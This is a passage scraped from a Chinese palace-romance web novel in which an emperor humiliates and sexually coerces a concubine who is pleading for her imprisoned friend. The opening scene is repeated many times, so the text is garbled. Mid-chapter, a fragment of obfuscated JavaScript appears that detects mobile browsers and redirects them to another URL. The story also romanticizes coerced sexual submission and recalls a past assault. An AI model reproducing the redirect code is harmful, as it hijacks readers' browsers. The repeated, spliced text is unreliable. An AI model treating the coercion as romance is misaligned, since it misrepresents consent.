念头在抱她回西配殿和留在正殿之间转了几转,开口冷冷道:“给朕更衣。” 康嫔忙放下牛乳:“皇上,还是臣妾来吧!” “不用,就让她来。”祁让态度强硬。 晚余知道躲不过,只得微微弯腰,去解他龙袍上的腰带。 康嫔的脸色已经难看到了极点。 刚刚她还在自欺欺人地安慰自己,不管怎样,只要皇上留宿在她床上就行。 可是现在,皇上居然在她寝殿里,当着她的面,和江采女腻歪起来。 皇上明着看是在刁难江采女,实际上又何尝不是在羞辱自己。 自己这样一个大活人在他面前,却被他赤裸裸地忽视。 既然如此,他怎么不干脆翻江采女的牌子? 眼瞅着他的衣裳**采女一件一件地脱下来,下一步,自己是不是该退到外面去给他们守夜了? 祁让全然不顾康嫔什么感受,冷幽幽的目光始终落在晚余脸上,试图从她脸上找到一些羞愤,**,不甘的情绪,或者,哪怕一点点的醋意也是好的。 可是没有。 她脸上除了逆来顺受,什么也没有。 而她的逆来顺受,也是因为徐清盏。 她为了一个没根的男人,来讨好她真正的男人。 祁让气得心口疼,伸手钳住了她的下巴:“朕叫你伺候更衣,你摆个**脸什么意思,给朕笑,朕不想看到你这副鬼样子!” 她走过来,吓得脸色一白。 这个眼神她再熟悉不过。 那天在永寿宫,他就是用这样的眼神看着她,然后不顾她的挣扎叫喊,残暴地撕烂了她的衣裳。 晚余下意识往后退,可后面是床,她根本无路可退。 祁让是不是疯了? 这是康嫔的寝殿,康嫔还在呢! 他已经疯到这样不管不顾的地步了吗? 晚余心里一阵惶恐,随着祁让的靠近,将身子尽力往后缩。 康嫔也懵了,端起炕桌上的牛乳走了过来:“皇上,喝了牛乳再歇息吧!” 祁让像是突然惊醒,回过神,没接牛乳,目光也没从晚余脸上移开。 念头在抱她回西配殿和留在正殿之间转了几转,开口冷冷道:“给朕更衣。” 康嫔忙放下牛乳:“皇上,还是臣妾来吧!” “不用,就让她来。”祁让态度强硬。 晚余知道躲不过,只得微微弯腰,去解他龙袍上的腰带。 康嫔的脸色已经难看到了极点。 刚刚她还在自欺欺人地安慰自己,不管怎样,只要皇上留宿在她床上就行。 可是现在,皇上居然在她寝殿里,当着她的面,和江采女腻歪起来。 皇上明着看是在刁难江采女,实际上又何尝不是在羞辱自己。 自己这样一个大活人在他面前,却被他赤裸裸地忽视。 既然如此,他怎么不干脆翻江采女的牌子? 眼瞅着他的衣裳**采女一件一件地脱下来,下一步,自己是不是该退到外面去给他们守夜了? 祁让全然不顾康嫔什么感受,冷幽幽的目光始终落在晚余脸上,试图从她脸上找到一些羞愤,**,不甘的情绪,或者,哪怕一点点的醋意也是好的。 可是没有。 她脸上除了逆来顺受,什么也没有。 而她的逆来顺受,也是因为徐清盏。 她为了一个没根的男人,来讨好她真正的男人。 祁让气得心口疼,伸手钳住了她的下巴:“朕叫你伺候更衣,你摆个**脸什么意思,给朕笑,朕不想看到你这副鬼样子!” 她走过来,吓得脸色一白。 这个眼神她再熟悉不过。 那天在永寿宫,他就是用这样的眼神看着她,然后不顾她的挣扎叫喊,残暴地撕烂了她的衣裳。 晚余下意识往后退,可后面是床,她根本无路可退。 祁让是不是疯了? 这是康嫔的寝殿,康嫔还在呢! 他已经疯到这样不管不顾的地步了吗? 晚余心里一阵惶恐,随着祁让的靠近,将身子尽力往后缩。 康嫔也懵了,端起炕桌上的牛乳走了过来:“皇上,喝了牛乳再歇息吧!” 祁让像是突然惊醒,回过神,没接牛乳,目光也没从晚余脸上移开。 念头在抱她回西配殿和留在正殿之间转了几转,开口冷冷道:“给朕更衣。” 康嫔忙放下牛乳:“皇上,还是臣妾来吧!” “不用,就让她来。”祁让态度强硬。 晚余知道躲不过,只得微微弯腰,去解他龙袍上的腰带。 康嫔的脸色已经难看到了极点。 刚刚她还在自欺欺人地安慰自己,不管怎样,只要皇上留宿在她床上就行。 可是现在,皇上居然在她寝殿里,当着她的面,和江采女腻歪起来。 皇上明着看是在刁难江采女,实际上又何尝不是在羞辱自己。 自己这样一个大活人在他面前,却被他赤裸裸地忽视。 既然如此,他怎么不干脆翻江采女的牌子? 眼瞅着他的衣裳**采女一件一件地脱下来,下一步,自己是不是该退到外面去给他们守夜了? 祁让全然不顾康嫔什么感受,冷幽幽的目光始终落在晚余脸上,试图从她脸上找到一些羞愤,**,不甘的情绪,或者,哪怕一点点的醋意也是好的。 可是没有。 她脸上除了逆来顺受,什么也没有。 而她的逆来顺受,也是因为徐清盏。 她为了一个没根的男人,来讨好她真正的男人。 祁让气得心口疼,伸手钳住了她的下巴:“朕叫你伺候更衣,你摆个**脸什么意思,给朕笑,朕不想看到你这副鬼样子!” 她走过来,吓得脸色一白。 这个眼神她再熟悉不过。 那天在永寿宫,他就是用这样的眼神看着她,然后不顾她的挣扎叫喊,残暴地撕烂了她的衣裳。 晚余下意识往后退,可后面是床,她根本无路可退。 祁让是不是疯了? 这是康嫔的寝殿,康嫔还在呢! 他已经疯到这样不管不顾的地步了吗? 晚余心里一阵惶恐,随着祁让的靠近,将身子尽力往后缩。 康嫔也懵了,端起炕桌上的牛乳走了过来:“皇上,喝了牛乳再歇息吧!” 祁让像是突然惊醒,回过神,没接牛乳,目光也没从晚余脸上移开。 念头在抱她回西配殿和留在正殿之间转了几转,开口冷冷道:“给朕更衣。” 康嫔忙放下牛乳:“皇上,还是臣妾来吧!” “不用,就让她来。”祁让态度强硬。 晚余知道躲不过,只得微微弯腰,去解他龙袍上的腰带。 康嫔的脸色已经难看到了极点。 刚刚她还在自欺欺人地安慰自己,不管怎样,只要皇上留宿在她床上就行。 可是现在,皇上居然在她寝殿里,当着她的面,和江采女腻歪起来。 皇上明着看是在刁难江采女,实际上又何尝不是在羞辱自己。 自己这样一个大活人在他面前,却被他赤裸裸地忽视。 既然如此,他怎么不干脆翻江采女的牌子? 眼瞅着他的衣裳**采女一件一件地脱下来,下一步,自己是不是该退到外面去给他们守夜了? 祁让全然不顾康嫔什么感受,冷幽幽的目光始终落在晚余脸上,试图从她脸上找到一些羞愤,**,不甘的情绪,或者,哪怕一点点的醋意也是好的。 可是没有。 她脸上除了逆来顺受,什么也没有。 而她的逆来顺受,也是因为徐清盏。 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康嫔的脸色已经难看到了极点。 刚刚她还在自欺欺人地安慰自己,不管怎样,只要皇上留宿在她床上就行。 可是现在,皇上居然在她寝殿里,当着她的面,和江采女腻歪起来。 皇上明着看是在刁难江采女,实际上又何尝不是在羞辱自己。 自己这样一个大活人在他面前,却被他赤裸裸地忽视。 既然如此,他怎么不干脆翻江采女的牌子? 眼瞅着他的衣裳**采女一件一件地脱下来,下一步,自己是不是该退到外面去给他们守夜了? 祁让全然不顾康嫔什么感受,冷幽幽的目光始终落在晚余脸上,试图从她脸上找到一些羞愤,**,不甘的情绪,或者,哪怕一点点的醋意也是好的。 可是没有。 她脸上除了逆来顺受,什么也没有。 而她的逆来顺受,也是因为徐清盏。 她为了一个没根的男人,来讨好她真正的男人。 祁让气得心口疼,伸手钳住了她的下巴:“朕叫你伺候更衣,你摆个**脸什么意思,给朕笑,朕不想看到你这副鬼样子!” 她走过来,吓得脸色一白。 这个眼神她再熟悉不过。 那天在永寿宫,他就是用这样的眼神看着她,然后不顾她的挣扎叫喊,残暴地撕烂了她的衣裳。 晚余下意识往后退,可后面是床,她根本无路可退。 祁让是不是疯了? 这是康嫔的寝殿,康嫔还在呢! 他已经疯到这样不管不顾的地步了吗? 晚余心里一阵惶恐,随着祁让的靠近,将身子尽力往后缩。 康嫔也懵了,端起炕桌上的牛乳走了过来:“皇上,喝了牛乳再歇息吧!” 祁让像是突然惊醒,回过神,没接牛乳,目光也没从晚余脸上移开。 念头在抱她回西配殿和留在正殿之间转了几转,开口冷冷道:“给朕更衣。” 康嫔忙放下牛乳:“皇上,还是臣妾来吧!” “不用,就让她来。”祁让态度强硬。 晚余知道躲不过,只得微微弯腰,去解他龙袍上的腰带。 康嫔的脸色已经难看到了极点。 刚刚她还在自欺欺人地安慰自己,不管怎样,只要皇上留宿在她床上就行。 可是现在,皇上居然在她寝殿里,当着她的面,和江采女腻歪起来。 皇上明着看是在刁难江采女,实际上又何尝不是在羞辱自己。 自己这样一个大活人在他面前,却被他赤裸裸地忽视。 既然如此,他怎么不干脆翻江采女的牌子? 眼瞅着他的衣裳**采女一件一件地脱下来,下一步,自己是不是该退到外面去给他们守夜了? 祁让全然不顾康嫔什么感受,冷幽幽的目光始终落在晚余脸上,试图从她脸上找到一些羞愤,**,不甘的情绪,或者,哪怕一点点的醋意也是好的。 可是没有。 她脸上除了逆来顺受,什么也没有。 而她的逆来顺受,也是因为徐清盏。 她为了一个没根的男人,来讨好她真正的男人。 祁让气得心口疼,伸手钳住了她的下巴:“朕叫你伺候更衣,你摆个**脸什么意思,给朕笑,朕不想看到你这副鬼样子!” 她走过来,吓得脸色一白。 这个眼神她再熟悉不过。 那天在永寿宫,他就是用这样的眼神看着她,然后不顾她的挣扎叫喊,残暴地撕烂了她的衣裳。 晚余下意识往后退,可后面是床,她根本无路可退。 祁让是不是疯了? 这是康嫔的寝殿,康嫔还在呢! 他已经疯到这样不管不顾的地步了吗? 晚余心里一阵惶恐,随着祁让的靠近,将身子尽力往后缩。 康嫔也懵了,端起炕桌上的牛乳走了过来:“皇上,喝了牛乳再歇息吧!” 祁让像是突然惊醒,回过神,没接牛乳,目光也没从晚余脸上移开。 念头在抱她回西配殿和留在正殿之间转了几转,开口冷冷道:“给朕更衣。” 康嫔忙放下牛乳:“皇上,还是臣妾来吧!” “不用,就让她来。”祁让态度强硬。 晚余知道躲不过,只得微微弯腰,去解他龙袍上的腰带。 康嫔的脸色已经难看到了极点。 刚刚她还在自欺欺人地安慰自己,不管怎样,只要皇上留宿在她床上就行。 可是现在,皇上居然在她寝殿里,当着她的面,和江采女腻歪起来。 皇上明着看是在刁难江采女,实际上又何尝不是在羞辱自己。 自己这样一个大活人在他面前,却被他赤裸裸地忽视。 既然如此,他怎么不干脆翻江采女的牌子? 眼瞅着他的衣裳**采女一件一件地脱下来,下一步,自己是不是该退到外面去给他们守夜了? 祁让全然不顾康嫔什么感受,冷幽幽的目光始终落在晚余脸上,试图从她脸上找到一些羞愤,**,不甘的情绪,或者,哪怕一点点的醋意也是好的。 可是没有。 她脸上除了逆来顺受,什么也没有。 而她的逆来顺受,也是因为徐清盏。 她为了一个没根的男人,来讨好她真正的男人。 祁让气得心口疼,伸手钳住了她的下巴:“朕叫你伺候更衣,你摆个**脸什么意思,给朕笑,朕不想看到你这副鬼样子!” 第126章 把她带回乾清宫 晚余的下巴被祁让捏得生疼,眼泪都快疼出来了,怎么可能笑得出来。 可她不笑,祁让就不肯放过她,非要看她笑一个才罢休。 她望向他,含着两汪疼出的泪花,对他绽放出笑颜。 满室烛火在她的泪光中流转,暖黄的光晕映着她苍白的小脸,这一笑,如同凄风苦雨里颤巍巍绽放的野花。 眼中的泪落下来,如同打在娇嫩花蕊上的雨点,让人的心都跟着颤抖,忍不住心生怜惜之情。 可祁让的心就像是铁打的,冷眼看着那颗滑至她腮边的泪,如泰山般岿然不动,眼底也没有半分怜悯之色。 他又想起她要出宫前,听到宫女们祝她嫁个如意郎君时,不自觉流露出的笑容。 那大概是她五年来唯一一个发自内心的笑。 在那之前,在那之后,他再也没有见到过那样甜美的笑。 她就是想嫁给沈长安。 她心里只有沈长安。 他心里醋意翻腾,从牙缝里挤出几个字:“比哭还难看! 康嫔在一旁看得心惊肉跳,硬着头皮说了句:“皇上息怒。 祁让的怒气被打断,用力一甩手,把晚余的头甩得偏向一边:“滚出去候着,等下送水进来! 康嫔惊得瞪大眼睛。 送水是指房事之后送给皇上和妃嫔清洗用的水,但这通常是妃嫔身边二等宫女的差事,皇上居然叫江采女来做。 皇上要干什么? 想把江采女往死里羞辱,还是想看江采女嫉妒吃醋? 换作别的妃嫔,可能真的会嫉妒到发疯,可江采女会吗? 皇上这招,对她管用吗? 康嫔默不作声地向晚余看过去。 晚余抬手在腮边抹了一下,福身道:“嫔妾遵旨,嫔妾告退。 说罢便垂首退了出去。 她走得那样快,仿佛在逃离龙潭虎穴。 祁让一口气堵在胸口,脸色又沉郁了几分。 康嫔已经不知道该怎么办才好,皇上气成这样,还能和自己鱼水之欢吗? 可是,皇上好不容易才来一回,要是错过了,下回不知什么时候轮到她。 她想怀上孩子,这鱼水之欢就必须进行下去。 她走上前,对祁让绽放出她最美丽的笑颜:“皇上,时辰不早了,臣妾服侍您上床歇息吧! 祁让看着她笑成一朵花的脸,再对比晚余含泪强颜欢笑的模样,心情愈加的烦躁。 怎么别人都能笑得 这样灿烂偏她不能? 怎么别人都能对他小意温存偏她不能? 怎么别人都能围着他转以他为天偏她不能? 她为什么偏要和别人不一样? 她就是欠收拾! 祁让磨着后槽牙抬手挡开了康嫔来解他衣带的手:“你先上去吧朕自己来。” 康嫔只得应了一声把自己脱得只剩下一件轻纱寝衣娇羞不已地上了床将锦被半盖在自己身上将一双玉臂和傲人的酥胸露在外面娇滴滴道:“皇上臣妾躺好了您也快些上来吧!” 祁让默然看着她透明纱衣下若隐若现的春色却提不起半点兴致满脑子想的都是掖庭那株野梅树。 天越冷雪越大那梅花开得越好。 他想起那棵野梅树下那女人在他怀里失控痛哭的样子。 风吹过花瓣如雪一样落了他们满身…… 他也不知道这个时候他为什么会想起一株野梅树。 这满宫的娇艳春色他却只想着雪中的寒梅。 他定然是病了疯魔了。 他赌气似的上了床。 他为什么要为了一株野梅树错过满宫的春色? 他就不信了! 可是当他真的钻进被子里康嫔的手臂像蛇一样缠过来的时候他却像被烫到似的迅速躲开。 “皇上?怎么了?”康嫔半撑着身子问他两团雪球在他眼前晃动。 “没什么你先睡吧朕想起一件要紧事。”他掀开被子下了床穿上龙袍抓起狐裘就走“这回算朕欠你的下回给你补上。” “……” 康嫔郁闷的要死。 皇上真行这种事还能欠账? 他说补上就能补上吗? 难道自己还要给他记着账时不时地催他还债吗? “皇上。” 康嫔不甘心地叫他他却已经头也不回地走了出去。 孙良言守在门外见他出来吃了一惊:“皇上怎么这么快?” 这话问的。 祁让黑着脸瞪了他一眼视线随即落在安安静静侍立一旁的晚余身上。 “把她带回乾清宫 孙良言愣了下转头看向晚余大概明白皇上今晚为什么这么快了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308371|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 皇上心里惦记着别人只怕对康嫔都没能下得去手。 “皇上您今晚翻的是康嫔娘娘的牌子却跑到她宫里来带走了江采女这合适吗?” “怎么不合适?”祁让冷声反问。 “……”孙良言哑口无言。 他是皇帝,他的后宫,他想怎样就怎样,哪有什么合不合适? “江采女,那就劳烦您往乾清宫走一趟吧!”孙良言无奈地对晚余说道。 晚余也没想到祁让会这么快出来,更没想到祁让会带她回乾清宫。 她都已经做好了送水进去给祁让清洗的心理准备,心里想着,到时候祁让肯定又会借机羞辱她。 只要不让她侍寝,只要能给她个机会,让她替徐清盏求个情,羞辱她也认了。 可是现在,预想的羞辱没有发生,祁让却要把她带走。 她心里忐忑不安,不知道这人又要出什么夭蛾子。 一行人往廊外走,敬事房的当值太监跟在祁让身边,冒着被**的风险问道:“皇上,康嫔今晚侍寝可要记档?” 皇上每次临幸妃嫔,敬事房都要记档,将来妃嫔若有身孕,要照着记录核对时间,确保皇室血脉的纯正。 这是敬事房的职责,也是最不能马虎的工作,因此他们每次都要在事后亲自问过皇上,确认皇上是真的和妃嫔行了房事。 祁让今晚出来的太快了,敬事房唯恐皇上有什么难言之隐,可职责所在又不能不问,真的很怕伤了皇上的自尊,被皇上一气之下砍了脑袋。 祁让也不是不理解敬事房的工作,可这不长眼的什么时候问不行,偏要赶在他刚出来的时候问。 他眼角余光瞥了眼默默跟在身后的江晚余,实在不想现在回答这个问题。 “敬事房的人越发会当差了!”他对孙良言咬牙切齿道。 孙良言忙给那个太监使眼色,叫他退到后面去,不要再不知死活地乱问。 那太监吓白了脸,退到后面瑟瑟发抖。 回到乾清宫,祁让阴沉着脸去了寝殿。 晚余跟在他身后走进去,怯生生的样子,像只受惊的鹌鹑。 孙良言看着两人的背影叹口气,默默地守在外面。 祁让径直走到床前坐下,漆黑的双眼如同被冬夜的寒气浸透,没有一丝温度地落在晚余身上:“知道朕为什么叫你来吗?” 第127章 今晚朕就好好的教教你 “嫔妾不知,请皇上赐教。”晚余走到他两步远的地方跪下,垂着眼帘不敢和他对视。 他近来越发的喜怒无常,阴晴不定,她实在猜不透他此时在想什么。 祁让嘴角噙着一抹讥诮,转着拇指上的翡翠扳指,静静看她。 直到她受不住他的威压,长而卷翘的睫毛开始频频抖动,才缓缓开口:“先说说你晚膳时前来求见所为何事?” 晚余没想到他突然把话题转到这里,犹豫了一下,正要开口,祁让又道:“你最好想好了再说,有些话,朕未必喜欢听。” 晚余闻言,又把到了嘴边的话咽了回去。 “说呀,怎么不说了?”祁让明知故问。 晚余只能实话实说:“嫔妾要说的大约都是皇上不喜欢听的。” 祁让冷笑:“原来你心里什么都明白,那你为什么就不能说些朕喜欢听的?” 晚余又将眉眼低垂,语气平静道:“皇上不喜欢的是嫔妾这个人,所以嫔妾说什么皇上都不会喜欢。” 祁让攥了攥手指,拇指压在食指上,发出咔吧一声轻响。 “你说得对,朕就是不喜欢你,朕看到你就来气,朕从来没有这样厌恶过一个人,朕恨不得把你全身的骨头一寸一寸敲碎,看你还怎么在朕面前硬着脖子说话!” 晚余听他一字一句说得咬牙切齿,知道他又到了爆发的边缘。 她不想激怒他,怕事情又朝着不可控的方向发展。 她是为了徐清盏而来,她要忍耐。 “嫔妾错了,请皇上息怒。”她温顺地向他认错。 她竟然肯认错,祁让意外地看了她一眼,语带嘲弄道:“错哪儿了?” “错在不该惹皇上生气。”晚余说道。 祁让却不满意:“太笼统,说具体的。” 晚余摇头:“嫔妾只知道皇上生气了,实在不知道皇上为什么生气,但不管为了什么,只要是因为嫔妾生的气,就是嫔妾的错。” 祁让咬了咬牙,胸中怒意升腾。 她这错认的,还不如不认。 他都分不清她是在认错,还是在讽刺他了。 她真的不知道他为什么生气吗? 他气她眼里没有他,心里没有他。 气她人在皇宫,心在西北。 气她为了别的男人在他面前宁死不屈,却又为了别的男人在他面前低三下四。 她的欢笑是为了别的男人,她的眼泪也是为了别的男人。 如此种种,她难道一点都不知道吗? 祁让深吸气,又重重吐出一口浊气,对她招手道:“过来,朕告诉你。” 晚余本能地瑟缩了一下,跪在那里没有动:“嫔妾有罪,只配跪着。” 祁让焉能不知,她是怕被他碰触。 她宁愿跪着,也不愿被他碰触。 他变换了一下姿势,手指轻轻敲击床沿,语气寒凉却又透着些许蛊惑:“你来见朕,不就是想为徐清盏求情吗,就你这态度,你觉得朕会对他网开一面吗?” 那蛊惑让晚余从中嗅到一丝希望,鼓起勇气,抬头向他看过去:“嫔妾要怎么做,皇上才肯饶恕徐清盏?” 看吧! 她果然还是为了徐清盏! 进来半天都不拿正眼瞧他,一说到徐清盏,她就来劲了。 祁让咬紧牙关,下颌绷出凌厉的线条。 他说过,他等着她来求他的那一天。 可她当真来求他了,却是为了徐清盏。 他怒到极致,恨不得现在就把徐清盏抓过来,当着她的面大卸八块。 “是你主动来求朕的,难道还要朕教你怎么求吗?”他压着火气说道。 晚余迟疑了片刻,起身走到几案前,倒了一盏茶,双手捧到他面前:“皇上请用茶。” “就这?”祁让看着那盏茶在她手里晃晃荡荡,气得发出一声嗤笑,“这就是你的诚意?徐清盏犯了欺君之罪,你想用一盏茶就让朕饶恕他?” 晚余抿了抿唇,小声道:“可皇上先前明明答应了沈将军……” “朕只答应饶他一命,可没说免了他所有的惩罚。”祁让冷冷打断她,“难道你还想让朕保留他司礼监掌印的身份,你觉得他配吗,你觉得他做下这样吃里扒外的事,朕还能放心把他留在那个位子上吗?” 晚余连忙摇头:“嫔妾没有这样想,但直殿监的杂役实在太委屈他了,他伤得很严重,人人都欺负他……” “他活该,那是他应得的!”祁让突然提高了音量,眼中似有杀机一闪而过。 晚余吓得一哆嗦,手里的茶水晃得更加厉害。 “皇上这么说,是不管嫔妾怎么求情都没有用了是吗?”她颤声问道。 祁让冷眼看着她,半晌,才幽幽道:“朕渴了,先喂朕喝口茶。” 晚余忙将茶盏送到他嘴边。 祁让却不动,也不张嘴。 晚余又将茶盏往前送了送。 茶盏的边缘已经碰到他的嘴唇,他还是不张嘴,只拿那双狭长黑沉的丹凤眼看着她。 晚余愣了愣,后知后觉地领悟了他的意图,小脸涨得通红。 这章没有结束,请点击下一页继续阅读!内心几经挣扎之后,她还是选择了妥协,自己喝了一口茶,把茶盏放在一旁,双手捧着他的脸,微微轻颤的唇贴上了他的唇。 柔软的生涩的碰触令祁让心头一颤,酥酥麻麻的感觉,从两人相贴的唇传到了四肢百骸。 他喉结滚动,垂在身侧的手不自觉攥起,却仍旧没有张口。 下一刻,贴在唇上的力量又加重了几分。 她不懂得如何才能让他开口,只是笨拙地加重力道。 恰恰也是这份笨拙让祁让失了控,一面被她撩拨得呼吸紊乱张开了嘴,一面又因为她是为了徐清盏才这样勾引自己而生气。 茶水已经凉透,却浇不灭他的愤怒,滑落喉间的同时,仿佛烈酒点燃了他的心头火,双手掐住她绵若柳条的细腰,转身将她压倒在了龙床上。 “唔……”晚余惊呼,刚出声就被他强势的唇堵了回去。 “被朕亲了这么多次,居然什么都没学会,今晚朕就好好教教你!” “不,不要……” 晚余挣扎着想要逃离,被祁让用力压住。 “跑什么,你忘了你是为谁而来吗,这就要放弃了?” 晚余浑身的力气都因着这一句话泄了个干净,认命地在他身下停止了挣扎。 祁让却又受不了她的屈服,双手撑在她身侧,眼底怒火似要将她焚烧:“徐清盏就这么好?好到你愿意用身体来和朕做交换?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第128章 这不是皇上想要的吗 盛怒之下的男人,说出的话都带着刀子,字字句句扎人心窝。 晚余平静地与他对视,带着一种破罐子破摔的决绝:“嫔妾与徐清盏相识十年,在嫔妾心里,他就是嫔妾的亲人,为了他,嫔妾愿意做任何事。” 她缓缓抬手,解开了自己的衣带,扯开衣襟,将一身冰肌玉骨坦露在他面前。 “只要皇上能宽恕徐清盏,嫔妾以后都会尽心服侍皇上。” 满目的雪白就这样毫无保留地闯入眼帘,祁让仿佛被晃了眼,漆黑的凤眸微微眯起。 经过这几日的休养,她身上那些青青紫紫的痕迹已经完全消退,整个身子完美得如同一尊白玉雕像,虽然清瘦,却有着玲珑的曲线,该长肉的地方一点没少长。 没有男人能抵挡住这样的诱惑,即便他身为帝王,也同样不能。 他的身体不争气地发生着变化,心里的火却也越烧越旺。 他是想要她来求他,在他面前低头,服软,哭泣,请求他的怜惜。 可他要的不是这种。 不是这种破罐子破摔,不是这种献身似的交换。 她的身子在他面前轻颤,她的胸膛在他面前起伏,她的眼睛却像一潭死水,她的心,想必也是一潭死水。 她把他当什么了? 祁让冷笑,伸出一根修长白皙的手指,指尖从她瓷白的脸颊缓缓滑过,一路向下,滑过她天鹅般的脖颈,滑过她瘦伶伶的锁骨,滑过她雪堆似的饱满,滑过她平坦紧致的小腹。 他的目光尖锐又刻薄,带着满满的嘲讽,随着手指的移动而移动,仿佛一个挑剔的恩客,在审视他重金买来的尤物。 晚余受不了这样轻贱的打量,巨大的羞耻感让她双颊泛起潮红,身子在他肆无忌惮的目光中战栗。 相比这样的羞辱,她宁愿他毫不留情的占有,宁愿承受那非人的疼痛。 她咬紧唇瓣,眼中水汽弥漫。 下一刻,她抓住祁让的手臂,借力仰起身子,双手环住他的脖颈,如同赴死般地吻上他的唇。 祁让身子一僵,大脑有瞬间的空白,仿佛被那两片柔唇吸起了所有的思想。 他顺着她的力道压下来,压在她身上。 她娇弱的身躯经不住他的重量,被压得发出一声轻吟。 这一声轻吟,让祁让彻底失了控,反客为主把她搂进怀里,强势的吻密不透风地攻占了她的唇齿之间。 她头一次没有挣扎,没有反抗,甚至还动作生涩地配合他。 身子也主动去贴他,在他怀里扭动,用腿去勾缠他强劲的腰。 这不就是他想要的顺从吗? 这不就是他想要的臣服吗, 祁让却没有一点征服的快感,反倒说不出的愤怒。 他猛地停下来,抓住她纤细的手臂,将她从床上扯起来扔到了地上。 晚余扑倒在冷硬的地砖上,凌乱的衣衫和乌黑的秀发铺了一地,雪白的春光半隐半现,抬起一张还残留着红晕的小脸看向祁让。 祁让已经坐起来,除了胸膛在急剧的起伏,浑身上下看不出一丝凌乱狼狈,眸光仍是那样暗沉沉的透着与生俱来的威压,仿佛刚刚那个与她唇舌纠缠的人不是他。 晚余拢了拢衣襟,慢慢跪直了身子:“皇上不喜欢?这不是皇上想要的吗?” 祁让咬着牙,额角青筋浮现。 就那样默默看了她半晌后,身体里的欲望才渐渐消沉下去。 “朕叫你来,不是为了这档子事,朕也不会将这档子事和前朝的政事混为一谈,后宫妃嫔众多,倘若谁都能通过和朕睡觉来为亲人换取利益,朕的朝堂成什么了?” 晚余跪在那里一言不发,垂下的青丝遮住了她的脸。 祁让看不清她的神情,又冷冷道:“徐清盏说到底不过是个太监,是个奴才,朕抬举他,才给了他掌印的身份,并让他提督东厂,是他自己不识抬举,枉费朕的信任与器重。 后宫不得干政,徐清盏是朕的臣子,他的任免关乎朝政,轮不到你一个后宫妃嫔来插手,你也不要妄想对朕献一次身,就能换回他昔日的荣光。 朕没杀他,就是在给他机会,他是个聪明人,他自己知道如何把握机会,他能用五年的时间爬到司礼监掌印的位子,就能抓住一切机会东山再起。” 他顿了顿,缓缓起身走到晚余面前,弯腰挑起她的下巴:“至于你,你若想他好,只须劳记一句话,以后离他远点!” 晚余的下巴被挑起,不得不抬头仰视于他。 他是那样高高在上,那样冷酷无情,那样凛然不可撼动。 又是那样的让她恨之入骨。 他轻描淡写地定义着别人的命运,像猫戏老鼠一样将她玩弄与股掌之间。 他摧毁了她的人生,却把一切的过错都归结在她头上。 说到底,不过是因为他手握至高无上的权柄,他是这天下的主宰。 他翻手为云,覆手为雨,是非黑白,全在他一念之间。 这就是为什么人人都想成为帝王。 因为帝王拥有着绝对的话语权,说一不二,万众臣服。 而祁让,刚好足够幸运,坐上了这个位置。 如果他没有这么幸运呢? 如果这个位子换了人呢? 如果他也像徐清盏一样,一夕之间从高空跌落呢? 晚余不禁想起了太后,想起了被幽禁的三皇子。 太后还在等着她的答复。 明天,就是太后给她的最后期限。 祁让仿佛听到了她的心声,突然开口问道:“你知道朕今晚为什么叫你过来吗?” 这个问题,刚进门时他就问过。 现在,他又重复提起。 晚余大约猜到了一些,却轻轻摇了摇头。 这个话题,她不能主动说起。 祁让似乎也不想再兜圈子,直截了当道:“前天,太后把你留在慈宁宫,都和你说了什么?” 他果然是要问这个。 晚余心想,他等了两天才来问她,也是够能忍的。 这两天,他是不是已经把那天在慈宁宫的所有人都查了一遍? 所以,他现在才来问她,是已经查清楚了吗? 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第129章 过来,陪朕睡觉 晚余思前想后,决定实话实说:“那天,晋王妃去给太后请安,想见嫔妾,太后就把嫔妾留下来和她见了一面。” “哦?” 祁让挑眉,不知是在意外江晚棠的到来,还是在意外她这么爽快供出江晚棠。 “晋王妃都和你说了什么?”祁让又问。 晚余迟疑了一下:“她说她对不起我,我沦落到今日这步田地,都是她害的。” 祁让蓦地冷下脸:“什么叫沦落到这步田地?你跟着朕,就是沦落吗?” 晚余长睫轻颤:“是她说的,不是我说的。” “那你呢?”祁让穷追不舍,“你也认为跟着朕是沦落吗?你知道有多少女人做梦都想入住紫禁城吗?” 这个问题是个送命题,晚余不想回答,反问道:“多少女人做梦都想入住的地方,我姐姐为什么不想? 她为什么要把我送进来代替她? 皇上喜欢的明明是她,为什么不直接杀了晋王,将她据为己有? 别说没有办法,只要皇上您想,有的是办法……” “给朕闭嘴!” 祁让厉声打断了她的话,气得脸色铁青。 “朕方才就不该放过你。”他咬牙道,“朕就该把你折腾个半死,看你还有没有力气和朕伶牙俐齿!” 晚余顺从地闭了嘴,不再吭声。 祁让却又命令道:“接着说,她还和你说了什么?” “她还说她和我一样可怜,我被囚禁在宫里不得自由,她的夫婿也被囚禁在宫里不得自由,她说她这样和守寡没什么两样。” “可怜?”祁让冷笑一声,“照她这么说,你们姐妹两个都是因为朕才变得这样可怜吗?” 晚余嘴上没回答,心里却说,难道不是吗? 这一切的根源,难道不是因为他执意要娶江晚棠才引起的吗? 既然喜欢的是江晚棠,求娶的也是江晚棠,又何必自欺欺人弄一个什么替身? 如果自己不能和长安在一起,绝对不会寻一个人来代替长安。 长安也不会接受另一个人当自己的替身。 所有得不到就找替身的人,他的爱,根本没有他自己以为的那样深。 充其量不过是执念,是不甘,是爱而不得的报复。 真正的爱,从来不会是退而求其次。 “她还说了什么?”祁让又问。 晚余抬眼看他,摇了摇头:“请皇上恕罪,后面的话,嫔妾不敢再说。” “为什么不敢?” “因为会死。” “你还怕死?”祁让嗤笑,“你不用跟朕卖关子,是朕让你说的,朕恕你无罪便是。” “谢皇上。”晚余斟酌了一下,缓缓道,“她求我替她去看一看晋王殿下。” “看他做什么?”祁让眸光微动,并没有太大的反应,似乎这些事都在他的意料之中。 晚余却不信他心里完全没波动。 自己只不过是个替身,他都不允许自己想别的男人。 他放在心尖上的女人,一心想着他的兄长,五年了还在对他兄长念念不忘,他怎么可能不生气? 